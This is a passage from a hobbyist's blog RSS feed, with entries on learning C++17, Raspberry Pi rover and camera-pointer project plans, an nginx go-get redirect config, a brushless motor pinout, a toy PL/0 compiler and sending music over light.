&lt;li&gt;5.11 s to local-fs: filesystem is up and usable&lt;/li&gt;
&lt;li&gt;5.88 s to basic&lt;/li&gt;
&lt;li&gt;7.03 s to network - although it&amp;rsquo;s hard to tell if the network is up&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&#34;boot-3.svg&#34; alt=&#34;Boot order and timing&#34;&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>cxx17: working through Cracking the Coding Interview</title>
      <link>https://juju.nz/michaelh/post/cxx17/</link>
      <pubDate>Tue, 27 Jun 2017 22:02:42 +0200</pubDate>
      <guid>https://juju.nz/michaelh/post/cxx17/</guid>
      <description>&lt;p&gt;I&amp;rsquo;m working my way through &lt;code&gt;Cracking the Coding Interview&lt;/code&gt; as a way of
learning the new features and tool ecosystem of C++17.&lt;/p&gt;
&lt;p&gt;Q1.9 reminded me of those games where you need to make a shape by
drawing straight lines through dots.  The trick with those games is to
realise that you can draw outside the (implicit) bounds of the dots
themselves.  For Q1.9, the trick is to realise that you can concat the
test string as any rotation will be a substring of the repeated
string.&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;m quite happy with the expressiveness of C++17 (with ranges-v3) so
far.  The solution to Q1.9 looks like:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;return (lhs + lhs).find(rhs) != std::string::npos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;which is very Pythonic.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>C&#43;&#43; in 2017</title>
      <link>https://juju.nz/michaelh/project/cxx17/</link>
      <pubDate>Sun, 25 Jun 2017 16:05:04 +0200</pubDate>
      <guid>https://juju.nz/michaelh/project/cxx17/</guid>
      <description>&lt;p&gt;&lt;a href=&#34;mailto:michaelh@juju.net.nz&#34;&gt;michaelh@juju.net.nz&lt;/a&gt;  2016-06-25  &lt;a href=&#34;https://juju.net.nz/michaelh/project/cxx17/&#34;&gt;https://juju.net.nz/michaelh/project/cxx17/&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&#34;overview&#34;&gt;Overview&lt;/h2&gt;
&lt;p&gt;This project is to revisit C++ in 2017 and see how it compares to my
recent experiences in Go.&lt;/p&gt;
&lt;h2 id=&#34;background&#34;&gt;Background&lt;/h2&gt;
&lt;p&gt;I&amp;rsquo;ve written significant amounts of code in C, &amp;lsquo;C with objects&amp;rsquo; style
C++, Python, and (recently) in Go.  I quite like Go and especially the
tooling around it, but miss things like generic containers from C++
and optional values (i.e. value or None) from Python.&lt;/p&gt;
&lt;h2 id=&#34;requirements&#34;&gt;Requirements&lt;/h2&gt;
&lt;p&gt;Find the state-of-the-art implementations of my favourite features
from Go and Python and exercise them.  These features are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A fast build / run cycle&lt;/li&gt;
&lt;li&gt;A package manager with a decentralised namespace&lt;/li&gt;
&lt;li&gt;Unit tests with automatic discovery&lt;/li&gt;
&lt;li&gt;Run-time inspection, especially being able to inspect a struct for
fields.&lt;/li&gt;
&lt;li&gt;A light-weight / low configuration build system&lt;/li&gt;
&lt;li&gt;Easy cross compiling, especially for Raspbian&lt;/li&gt;
&lt;li&gt;Type free string formatting with positional args&lt;/li&gt;
&lt;li&gt;Documentation stored with the code&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;From Go:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Strict by default&lt;/li&gt;
&lt;li&gt;No explicit memory managemnt&lt;/li&gt;
&lt;li&gt;One True Way of formatting and tools to automatically reformat&lt;/li&gt;
&lt;li&gt;Cheap threads and channels so it&amp;rsquo;s easy to spawn a statemachine and
push/pull events to/from it.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;From Python:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Optionals (i.e. value or &lt;code&gt;None&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Functional style programming via lists and comprehensions&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;From other places:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Dependency injection&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;My favourite control surfaces are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Prometheus for monitoring&lt;/li&gt;
&lt;li&gt;logfmt for structured logging that can be grepped&lt;/li&gt;
&lt;li&gt;YAML or INI for a config language&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Prefer using features that come with C++17 over external libraries.
Prefer systems that can be self-hosted.&lt;/p&gt;
&lt;h2 id=&#34;implementation&#34;&gt;Implementation&lt;/h2&gt;
&lt;p&gt;The candidates to test are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;conan.io&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;gtest&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Folly&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Boost, especially Boost::Hana&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;range-v3&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;fmt&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;rxcpp&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;yaml-cpp&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Doxygen&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Sphinx&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;rapidjson: has a DOM model and schema validator&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;json11: simple, consise&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;gtest&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;doctest / Catch&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;deliverables&#34;&gt;Deliverables&lt;/h2&gt;
&lt;p&gt;How do we know when we&amp;rsquo;re done?&lt;/p&gt;
&lt;h2 id=&#34;milestones&#34;&gt;Milestones&lt;/h2&gt;
&lt;p&gt;Chunky steps along the way&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Milestone&lt;/th&gt;
&lt;th&gt;Week&lt;/th&gt;
&lt;th&gt;Result&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;M1&lt;/td&gt;
&lt;td&gt;W1&lt;/td&gt;
&lt;td&gt;All foos have bars barred&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;M2&lt;/td&gt;
&lt;td&gt;W3&lt;/td&gt;
&lt;td&gt;All bazs are frobbed&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id=&#34;risks-and-mitigations&#34;&gt;Risks and mitigations&lt;/h2&gt;
&lt;p&gt;What are the risks, likelyhood, impact, and ways of handling them?&lt;/p&gt;
&lt;h2 id=&#34;alternatives-considered&#34;&gt;Alternatives considered&lt;/h2&gt;
&lt;p&gt;Do nothing&amp;hellip;&lt;/p&gt;
&lt;h2 id=&#34;appendix&#34;&gt;Appendix&lt;/h2&gt;
&lt;p&gt;Building c11.cc:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;7.9s with gcc-6.3&lt;/li&gt;
&lt;li&gt;7.4s with clang-4.0 (with a link failure, so not exactly the same)&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>spdbt</title>
      <link>https://juju.nz/michaelh/project/spdbt/</link>
      <pubDate>Mon, 15 May 2017 13:16:02 +0200</pubDate>
      <guid>https://juju.nz/michaelh/project/spdbt/</guid>
      <description>&lt;p&gt;&lt;a href=&#34;mailto:michaelh@juju.net.nz&#34;&gt;michaelh@juju.net.nz&lt;/a&gt;  2017-05-15  &lt;a href=&#34;https://juju.net.nz/michaelh/project/spdbt/&#34;&gt;https://juju.net.nz/michaelh/project/spdbt/&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&#34;overview&#34;&gt;Overview&lt;/h2&gt;
&lt;p&gt;A fast indoor mousebot for playing with rover control and navigation.&lt;/p&gt;
&lt;h2 id=&#34;background&#34;&gt;Background&lt;/h2&gt;
&lt;p&gt;Context that led to this project.&lt;/p&gt;
&lt;h2 id=&#34;requirements&#34;&gt;Requirements&lt;/h2&gt;
&lt;p&gt;What the project must fufill.&lt;/p&gt;
&lt;h2 id=&#34;implementation&#34;&gt;Implementation&lt;/h2&gt;
&lt;p&gt;spdbt is made from parts I already have which are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Raspberry Pi Zero W&lt;/li&gt;
&lt;li&gt;Picon Zero I/O board&lt;/li&gt;
&lt;li&gt;C270 USB camera&lt;/li&gt;
&lt;li&gt;FIT0441 12 V 159 RPM motor&lt;/li&gt;
&lt;li&gt;HC-450 3S LiPo (~30x55x18) with XT connectors (similar to 
&lt;a href=&#34;https://hobbyking.com/en_us/turnigy-500mah-3s-20c-lipo-pack.html&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;this&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;Pololu 5V regulator D24V22F5&lt;/li&gt;
&lt;li&gt;ST7735 1.8&amp;rdquo; 160x128 LCD&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;deliverables&#34;&gt;Deliverables&lt;/h2&gt;
&lt;p&gt;The deliverables are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;OpenSCAD models for the mechanicals&lt;/li&gt;
&lt;li&gt;Ansible rules for configuring the rover&lt;/li&gt;
&lt;li&gt;Firmware for the rover&lt;/li&gt;
&lt;li&gt;If needed, updated firmware for the Picon Zero&lt;/li&gt;
&lt;li&gt;Photos showing the assembly&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;milestones&#34;&gt;Milestones&lt;/h2&gt;
&lt;p&gt;Chunky steps along the way&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Milestone&lt;/th&gt;
&lt;th&gt;Week&lt;/th&gt;
&lt;th&gt;Result&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;M1&lt;/td&gt;
&lt;td&gt;W1&lt;/td&gt;
&lt;td&gt;All foos have bars barred&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;M2&lt;/td&gt;
&lt;td&gt;W3&lt;/td&gt;
&lt;td&gt;All bazs are frobbed&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id=&#34;risks-and-mitigations&#34;&gt;Risks and mitigations&lt;/h2&gt;
&lt;p&gt;What are the risks, likelyhood, impact, and ways of handling them?&lt;/p&gt;
&lt;h2 id=&#34;alternatives-considered&#34;&gt;Alternatives considered&lt;/h2&gt;
&lt;p&gt;Do nothing&amp;hellip;&lt;/p&gt;
&lt;h2 id=&#34;appendix&#34;&gt;Appendix&lt;/h2&gt;
&lt;h3 id=&#34;fit0411-pinout&#34;&gt;FIT0411 pinout&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Blue (left most): PWM. Take to GND for full speed.&lt;/li&gt;
&lt;li&gt;Black: GND / Supply negative&lt;/li&gt;
&lt;li&gt;Yellow: Direction&lt;/li&gt;
&lt;li&gt;Green: encoder output. ~680 Hz at full speed&lt;/li&gt;
&lt;li&gt;Red (right most): 12V&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;picon-zero-pinout&#34;&gt;Picon Zero pinout&lt;/h3&gt;
&lt;p&gt;Source: &lt;a href=&#34;https://github.com/4tronix/PiconZero&#34;&gt;https://github.com/4tronix/PiconZero&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Protocol: &lt;a href=&#34;http://heeed.net/a-few-notes-on-i2c/&#34;&gt;http://heeed.net/a-few-notes-on-i2c/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;TODO(michaelh): uses software PWM using a &lt;code&gt;delay()&lt;/code&gt;.  Check the
accuracy especially during transfers.&lt;/p&gt;
&lt;p&gt;Pins are {6, 7, 8, 11}, {9, 10, 2, 3, 4, 5}.  Good news with software
PWM is any pin can do any function.&lt;/p&gt;
&lt;p&gt;On the Arduino, 3, 5, 6, 9, 10, and 11 can be hardware PWM.  So 3, 5,
9, and 10 are available on the servo headers.  4, 5 are T0 and T1 to
the counter unit so keep these free.&lt;/p&gt;
&lt;h3 id=&#34;d24v22f5-pinout&#34;&gt;D24V22F5 pinout&lt;/h3&gt;
&lt;p&gt;Corner of board:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;PG (power good)&lt;/li&gt;
&lt;li&gt;EN (enable, enabled by default)&lt;/li&gt;
&lt;li&gt;VIN&lt;/li&gt;
&lt;li&gt;GND&lt;/li&gt;
&lt;li&gt;VOUT&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>go packages on your own domain</title>
      <link>https://juju.nz/michaelh/post/2017/go-get/</link>
      <pubDate>Sun, 16 Apr 2017 21:00:59 +0200</pubDate>
      <guid>https://juju.nz/michaelh/post/2017/go-get/</guid>
      <description>&lt;p&gt;
&lt;a href=&#34;https://golang.org/cmd/go/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;go get&lt;/a&gt; has a nice feature where it will
fetch the package URL and, based on a meta tag, redirect to the actual
location.&lt;/p&gt;
&lt;p&gt;Here&amp;rsquo;s the nginx config I use to redirect &lt;code&gt;go get juju.net.nz/x/package&lt;/code&gt;
to either my private repo (for unreleased stuff) or my

&lt;a href=&#34;https://juju.nz/michaelh/src&#34;&gt;cgit instance&lt;/a&gt; for everything else.  This is similar to how
&lt;code&gt;golang.org/x/...&lt;/code&gt; and &lt;code&gt;gobot.io/x/...&lt;/code&gt; operate.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;server {
        ...
        location ~ /x/(.*) {
                if (-d /home/juju/p/git/$1.git) {
                        return 200 &#39;&amp;lt;meta name=&amp;quot;go-import&amp;quot; content=&amp;quot;$host$uri git ssh://juju@$host/~juju/p/git/$1.git&amp;quot;&amp;gt;\n&#39;;
                }
                if (-d /home/juju/git/$1.git) {
                        return 200 &#39;&amp;lt;meta name=&amp;quot;go-import&amp;quot; content=&amp;quot;$host$uri git $scheme://$host/src/$1.git&amp;quot;&amp;gt;\n&#39;;
                }
                return 404;
        }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As a bonus this means I could, say, shift the code to github without
breaking existing code.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>pipoint</title>
      <link>https://juju.nz/michaelh/project/pipoint/</link>
      <pubDate>Wed, 15 Mar 2017 20:40:46 +0100</pubDate>
      <guid>https://juju.nz/michaelh/project/pipoint/</guid>
      <description>&lt;p&gt;&lt;a href=&#34;mailto:michaelh@juju.net.nz&#34;&gt;michaelh@juju.net.nz&lt;/a&gt;  2017-03-15  &lt;a href=&#34;https://juju.net.nz/michaelh/project/pipoint/&#34;&gt;https://juju.net.nz/michaelh/project/pipoint/&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&#34;overview&#34;&gt;Overview&lt;/h2&gt;
&lt;p&gt;An automatic camera pointer that keeps a rover like a model aircraft
in the center of the frame.&lt;/p&gt;
&lt;h2 id=&#34;background&#34;&gt;Background&lt;/h2&gt;
&lt;p&gt;Some time ago I set up a camera, pointed it at the sky, and recorded
as I flew my model plane about.  It was quite cool, but the plane
covers so much area that most of the video was of blue sky.&lt;/p&gt;
&lt;h2 id=&#34;requirements&#34;&gt;Requirements&lt;/h2&gt;
&lt;p&gt;The system shall be able to keep the following rovers in frame:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A 1 m wingspan model aircraft flying at 100 km/h at 50 m to 200 m
range&lt;/li&gt;
&lt;li&gt;A 1/10th scale model car driving at 40 km/h at 20 m to 100 m range&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The system shall support a standard field configuration, where the
rover says to the left, in front, or to the right of the operator but
never goes behind.&lt;/p&gt;
&lt;p&gt;The pointer shall support point a GoPro-class camera, especially a
~60 g Turnigy HD ActionCam with a 170&amp;rdquo; lens.&lt;/p&gt;
&lt;p&gt;To minimise development time, prefer re-using existing hardware and
software platforms.&lt;/p&gt;
&lt;p&gt;To minimise hardware integration time, prefer a system with fewer
parts.&lt;/p&gt;
&lt;p&gt;Doing a round trip to test the system takes some time.  To minimise
the round trips:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;In-field setup shall be minimised&lt;/li&gt;
&lt;li&gt;The hardware, software, and parameters shall be readily modifable&lt;/li&gt;
&lt;li&gt;The system shall support near real time debugging and tuning&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The system shall use my standard tooling which is Go, Git, Ansible,
Prometheus, and Buildbot for CI.&lt;/p&gt;
&lt;h2 id=&#34;implementation&#34;&gt;Implementation&lt;/h2&gt;
&lt;p&gt;The system shall consist of:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A PixFalcon Micro and GPS on the rover&lt;/li&gt;
&lt;li&gt;A 433 MHz telemetry link&lt;/li&gt;
&lt;li&gt;A Rasperry Pi 3 based base station&lt;/li&gt;
&lt;li&gt;A Lynx B servo based Pan and Tilt Kit&lt;/li&gt;
&lt;li&gt;A Linux laptop for display and control&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&#34;overview.svg&#34; alt=&#34;Overview&#34;&gt;&lt;/p&gt;
&lt;p&gt;The components are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A Wifi accesspoint used as link when in the field&lt;/li&gt;
&lt;li&gt;A Wifi client used as link at home&lt;/li&gt;
&lt;li&gt;mavlink as the protocol&lt;/li&gt;
&lt;li&gt;mavproxy to bridge between serial and UDP&lt;/li&gt;
&lt;li&gt;gobot as the framework&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The modes are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Locate.  The base station uses the rover&amp;rsquo;s GPS and compass to locate
the base station itself.&lt;/li&gt;
&lt;li&gt;Run.  The base station receives the rover&amp;rsquo;s location, calculates the
camera angle, and sends commands to the servos.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The support systems are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Fast runtime configuration.  The settings can be edited without
interrupting the app.  Idea: use &lt;code&gt;spf13/viper&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Commands (like to switch modes) are sent over REST.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The core abstraction is a parameters.  These have an age and fire
events when updated.  A set of parameters may be updated as a group
and events will fire at the end.  Parameters have the same basic API
as &lt;code&gt;spf13/viper&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Servo control is via PWM.  The PWM pins are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;PWM0: GPIO18 / pin 12&lt;/li&gt;
&lt;li&gt;PWM1: GPIO19 / pin 35&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Instructions on enabling these via DTB are 
&lt;a href=&#34;http://www.jumpnowtek.com/rpi/Using-the-Raspberry-Pi-Hardware-PWM-timers.html&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&#34;test-plan&#34;&gt;Test plan&lt;/h2&gt;
&lt;p&gt;The inital at-base checks are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Check that the battery packs can run the electronics and servos&lt;/li&gt;
&lt;li&gt;Check connectivity via the access point&lt;/li&gt;
&lt;li&gt;Check the rover manual control&lt;/li&gt;
&lt;li&gt;Check the remote battery&lt;/li&gt;
&lt;li&gt;Check that rover telemetry is received by the base&lt;/li&gt;
&lt;li&gt;Check that the GPS can lock and is received by the base&lt;/li&gt;
&lt;li&gt;Check the camera battery and storage&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The in-field checks are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Repeat at-base&lt;/li&gt;
&lt;li&gt;With the rover at the base, mark the base location&lt;/li&gt;
&lt;li&gt;Save this location as default&lt;/li&gt;
&lt;li&gt;Manually drive the rover ~10 m away at 0 deg to the base&lt;/li&gt;
&lt;li&gt;Adjust the pan offset to point&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;deliverables&#34;&gt;Deliverables&lt;/h2&gt;
&lt;p&gt;The deliverables are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;TODO&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;milestones&#34;&gt;Milestones&lt;/h2&gt;
&lt;p&gt;TODO&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Milestone&lt;/th&gt;
&lt;th&gt;Week&lt;/th&gt;
&lt;th&gt;Result&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;M1&lt;/td&gt;
&lt;td&gt;W1&lt;/td&gt;
&lt;td&gt;All foos have bars barred&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;M2&lt;/td&gt;
&lt;td&gt;W3&lt;/td&gt;
&lt;td&gt;All bazs are frobbed&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id=&#34;risks-and-mitigations&#34;&gt;Risks and mitigations&lt;/h2&gt;
&lt;p&gt;TODO&lt;/p&gt;
&lt;h2 id=&#34;alternatives-considered&#34;&gt;Alternatives considered&lt;/h2&gt;
&lt;p&gt;Do nothing&amp;hellip;&lt;/p&gt;
&lt;h2 id=&#34;appendix&#34;&gt;Appendix&lt;/h2&gt;
&lt;p&gt;Issues&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;GPS seems to be sampled at 2.5 Hz, and sometimes arrives earlier or
later.&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>DFRobot FIT0441 pinout</title>
      <link>https://juju.nz/michaelh/2016/11/dfrobot-fit0441-pinout/</link>
      <pubDate>Fri, 25 Nov 2016 21:25:00 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2016/11/dfrobot-fit0441-pinout/</guid>
      <description>&lt;p&gt;I ordered two FIT0441 brushless motors for use in v2 of my balancing robot. The 
&lt;a href=&#34;https://www.dfrobot.com/wiki/index.php/FIT0441_Brushless_DC_Motor_with_Encoder_12V_159RPM&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;DFRobot&lt;/a&gt; wiki page on the motor is incorrect so I thought I’d blog about it so someone else can find it 🙂&lt;/p&gt;
&lt;p&gt;The motor comes with a 5 pin JST-SH cable with a white end and a black end. The white end goes to the motor. When looking from the back of the motor with the socket at the 6 o’clock position, the wires are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Blue (left most): PWM. Take to GND for full speed.&lt;/li&gt;
&lt;li&gt;Black: GND / Supply negative&lt;/li&gt;
&lt;li&gt;Yellow: Direction&lt;/li&gt;
&lt;li&gt;Green: encoder output. ~680 Hz at full speed&lt;/li&gt;
&lt;li&gt;Red (right most): 12V&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Note that the black end has a completely different order.&lt;/p&gt;
&lt;p&gt;To make the motor spin, connect 12V to Black and Red and short Blue to GND. To make it spin in the opposite direction, short Yellow to GND.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>ESP8266 IO bridge</title>
      <link>https://juju.nz/michaelh/2016/10/esp8266-io-bridge/</link>
      <pubDate>Sun, 23 Oct 2016 18:58:04 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2016/10/esp8266-io-bridge/</guid>
      <description>&lt;p&gt;
&lt;a href=&#34;https://github.com/eriksl/esp8266-universal-io-bridge&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;github.com/eriksl/esp8266-universal-io-bridge&lt;/a&gt; looks cool – it exposes the I/O of a ESP8266 wifi module including the GPIO, I2C, PWM, ADC, and UART via a line based telnet interface.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>A toy PL/0 compiler</title>
      <link>https://juju.nz/michaelh/2016/08/a-toy-pl0-compiler/</link>
      <pubDate>Thu, 25 Aug 2016 19:54:44 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2016/08/a-toy-pl0-compiler/</guid>
      <description>&lt;p&gt;I’ve released a toy compiler for the PL/0 educational language at &lt;a href=&#34;https://juju.net.nz/src/cgit.cgi/pl0.git/&#34;&gt;https://juju.net.nz/src/cgit.cgi/pl0.git/&lt;/a&gt; or &lt;a href=&#34;https://github.com/nzmichaelh/pl0&#34;&gt;https://github.com/nzmichaelh/pl0&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I did this as, despite working with compilers for a fair part of my life, I’d never written one from scratch. I chose PL/0 as it was designed by a local legend, Niklaus Wirth, who is also the creator of Pascal and Modula-2.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Maker Faire Bodensee</title>
      <link>https://juju.nz/michaelh/2016/06/maker-faire-bodensee/</link>
      <pubDate>Sun, 26 Jun 2016 10:15:44 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2016/06/maker-faire-bodensee/</guid>
      <description>&lt;p&gt;We went to 
&lt;a href=&#34;http://www.makerfairebodensee.com/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Maker Faire Bodensee&lt;/a&gt; on the weekend. The kids spent so much time with Paula Pongratz’s 
&lt;a href=&#34;https://p0stap0calyptic.wordpress.com/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Post-apocalyptic jewlery&lt;/a&gt; that they missed most of the rest (heh).&lt;/p&gt;
&lt;p&gt;Other standouts were the breadboard / pus pin based electronic organ from [&lt;/p&gt;
&lt;p&gt;Elektronikmuseum Tettnang]
&lt;a href=&#34;http://www.emuseum-tettnang.de&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;3&lt;/a&gt; and the marshmallow building challenge by Toolbox BODENSEE. I also want to have a look into the 
&lt;a href=&#34;http://www.makerfairebodensee.com/mw-de/messeinformationen/tagesprogramm.php?lid=87&amp;amp;sMode=detail&amp;amp;id=154&amp;amp;lg=de&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Minecraft smart-home&lt;/a&gt;, 
&lt;a href=&#34;http://nodebots.ch&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Nodebots&lt;/a&gt;, and Freifunk.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Sending music over light</title>
      <link>https://juju.nz/michaelh/2016/04/sending-music-over-light/</link>
      <pubDate>Sun, 17 Apr 2016 15:20:43 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2016/04/sending-music-over-light/</guid>
      <description>&lt;p&gt;Someone recently mentioned that you can ‘hear’ a TV remote control by hooking a solar panel to a speaker and pointing the remote at it. It was a rainy weekend this weekend, so my son and I gave it a go:&lt;/p&gt;
&lt;div style=&#34;width: 640px; &#34; class=&#34;wp-video&#34;&gt;
  &lt;video class=&#34;wp-video-shortcode&#34; id=&#34;video-327-7&#34; width=&#34;640&#34; height=&#34;361&#34; preload=&#34;metadata&#34; controls=&#34;controls&#34;&gt;&lt;source type=&#34;video/mp4&#34; src=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2016/04/VID-20160417-162947-3.m4v?_=7&#34; /&gt;&lt;a href=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2016/04/VID-20160417-162947-3.m4v&#34;&gt;https://juju.net.nz/michaelh/blog/wp-content/uploads/2016/04/VID-20160417-162947-3.m4v&lt;/a&gt;&lt;/video&gt;
&lt;/div&gt;
&lt;p&gt;The circuit is simple: a solar panel from a toy, a ~1 Hz RC highpass filter to get rid of the DC component, and an amplified speaker for the output. The noise is the code that the remote is sending to the TV which is roughly 700 Hz for one remote and 400 Hz for the other.&lt;/p&gt;
&lt;p&gt;The next step is to see if you can send music over light. With a bit more circuitry, you can:&lt;/p&gt;
&lt;div style=&#34;width: 640px; &#34; class=&#34;wp-video&#34;&gt;
  &lt;video class=&#34;wp-video-shortcode&#34; id=&#34;video-327-8&#34; width=&#34;640&#34; height=&#34;361&#34; preload=&#34;metadata&#34; controls=&#34;controls&#34;&gt;&lt;source type=&#34;video/mp4&#34; src=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2016/04/Sending-music-over-light-1.m4v?_=8&#34; /&gt;&lt;a href=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2016/04/Sending-music-over-light-1.m4v&#34;&gt;https://juju.net.nz/michaelh/blog/wp-content/uploads/2016/04/Sending-music-over-light-1.m4v&lt;/a&gt;&lt;/video&gt;
&lt;/div&gt;
&lt;p&gt;I used a LM386 to bias the LED to be normally on. The bias is set by a potentiometer on one of the differential inputs with the MP3 player on the other. Setting the bias too high or too low causes clipping due to the LED turning off or the amplifier hitting the 5 V supply rail. It sounds really good – well, at least as the small speaker lets it.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>ArduRover based nppilot log</title>
      <link>https://juju.nz/michaelh/note/arduroverlog/</link>
      <pubDate>Sun, 14 Feb 2016 00:00:00 +0000</pubDate>
      <guid>https://juju.nz/michaelh/note/arduroverlog/</guid>
